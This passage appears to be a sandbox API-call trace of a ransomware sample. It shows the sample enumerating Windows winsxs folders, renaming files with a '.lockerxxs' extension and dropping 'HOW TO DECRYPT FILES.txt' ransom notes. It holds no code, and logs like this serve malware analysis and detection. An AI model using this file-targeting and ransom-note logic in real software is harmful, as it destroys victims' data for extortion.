lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\UninstallSqlStateTemplate.sql.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\UninstallSqlStateTemplate.sql.lockerxxs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\UninstallSqlStateTemplate.sql.lockerxxs" [0165.443] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\UninstallSqlStateTemplate.sql" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_uninstallsqlstatetem_b03f5f7f11d50a3a_6.1.7600.16385_none_917c8e3a626d815e\\uninstallsqlstatetemplate.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.443] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe515878, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbe515878, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa56494c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2e15, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="UninstallSqlStateTemplate.sql", cAlternateFileName="UNINST~1.SQL")) returned 0 [0165.443] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.443] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112915a8, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x112dd85c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x112dd85c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f493f, dwReserved1=0x4065a5, cFileName="amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf", cAlternateFileName="AM93A6~1.163")) returned 1 [0165.443] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf") returned -1 [0165.444] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf") returned -1 [0165.444] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.444] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\", lpString2="amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf" [0165.444] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112915a8, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x112dd85c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x112dd85c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.447] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.447] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112915a8, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x112dd85c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x112dd85c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.447] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.447] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.447] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafdbf091, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xafdbf091, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90766f3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xede, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AppConfigHome.aspx.resx", cAlternateFileName="APPCON~1.RES")) returned 1 [0165.447] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.447] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AppConfigHome.aspx.resx") returned 1 [0165.447] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AppConfigHome.aspx.resx") returned 1 [0165.447] lstrcmpiA (lpString1="", lpString2="AppConfigHome.aspx.resx") returned -1 [0165.447] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\*.*") returned="*.*" [0165.447] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\" [0165.448] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\") returned="" [0165.448] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt" [0165.448] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\how to decrypt files.txt")) returned 0xffffffff [0165.448] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.448] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.448] CloseHandle (hObject=0xffffffff) returned 0 [0165.449] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\", lpString2="AppConfigHome.aspx.resx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\AppConfigHome.aspx.resx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\AppConfigHome.aspx.resx" [0165.449] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\AppConfigHome.aspx.resx", pszSpec="*.ems") returned 0 [0165.449] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe0b34b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xafe0b34b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x907d9355, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x557, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppSetting.ascx.resx", cAlternateFileName="APPSET~1.RES")) returned 1 [0165.449] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.449] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AppSetting.ascx.resx") returned 1 [0165.449] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AppSetting.ascx.resx") returned 1 [0165.449] lstrcmpiA (lpString1="", lpString2="AppSetting.ascx.resx") returned -1 [0165.449] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\AppConfigHome.aspx.resx") returned="AppConfigHome.aspx.resx" [0165.449] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\" [0165.449] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\") returned="" [0165.449] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt" [0165.450] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\how to decrypt files.txt")) returned 0xffffffff [0165.450] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.450] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.450] CloseHandle (hObject=0xffffffff) returned 0 [0165.450] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\", lpString2="AppSetting.ascx.resx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\AppSetting.ascx.resx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\AppSetting.ascx.resx" [0165.450] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\AppSetting.ascx.resx", pszSpec="*.ems") returned 0 [0165.451] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe314a8, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xafe314a8, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90825611, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x603, dwReserved0=0x0, dwReserved1=0x0, cFileName="CreateAppSetting.aspx.resx", cAlternateFileName="CREATE~1.RES")) returned 1 [0165.451] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.451] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CreateAppSetting.aspx.resx") returned 1 [0165.451] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CreateAppSetting.aspx.resx") returned 1 [0165.451] lstrcmpiA (lpString1="", lpString2="CreateAppSetting.aspx.resx") returned -1 [0165.451] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\AppSetting.ascx.resx") returned="AppSetting.ascx.resx" [0165.451] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\" [0165.451] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\") returned="" [0165.451] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt" [0165.451] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\how to decrypt files.txt")) returned 0xffffffff [0165.451] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.452] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.452] CloseHandle (hObject=0xffffffff) returned 0 [0165.452] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\", lpString2="CreateAppSetting.aspx.resx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\CreateAppSetting.aspx.resx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\CreateAppSetting.aspx.resx" [0165.452] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\CreateAppSetting.aspx.resx", pszSpec="*.ems") returned 0 [0165.452] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe7d762, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xafe7d762, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90825611, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xb0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="DebugAndTrace.aspx.resx", cAlternateFileName="DEBUGA~1.RES")) returned 1 [0165.452] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.452] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DebugAndTrace.aspx.resx") returned 1 [0165.452] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DebugAndTrace.aspx.resx") returned 1 [0165.453] lstrcmpiA (lpString1="", lpString2="DebugAndTrace.aspx.resx") returned -1 [0165.453] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\CreateAppSetting.aspx.resx") returned="CreateAppSetting.aspx.resx" [0165.453] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\" [0165.453] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\") returned="" [0165.453] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt" [0165.453] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\how to decrypt files.txt")) returned 0xffffffff [0165.453] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.453] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.453] CloseHandle (hObject=0xffffffff) returned 0 [0165.454] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\", lpString2="DebugAndTrace.aspx.resx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\DebugAndTrace.aspx.resx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\DebugAndTrace.aspx.resx" [0165.454] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\DebugAndTrace.aspx.resx", pszSpec="*.ems") returned 0 [0165.454] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafea38bf, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xafea38bf, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9084b76f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x999, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefineErrorPage.aspx.resx", cAlternateFileName="DEFINE~1.RES")) returned 1 [0165.454] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.454] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DefineErrorPage.aspx.resx") returned 1 [0165.454] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DefineErrorPage.aspx.resx") returned 1 [0165.454] lstrcmpiA (lpString1="", lpString2="DefineErrorPage.aspx.resx") returned -1 [0165.454] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\DebugAndTrace.aspx.resx") returned="DebugAndTrace.aspx.resx" [0165.454] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\" [0165.454] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\") returned="" [0165.455] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt" [0165.455] GetFileAttributesA 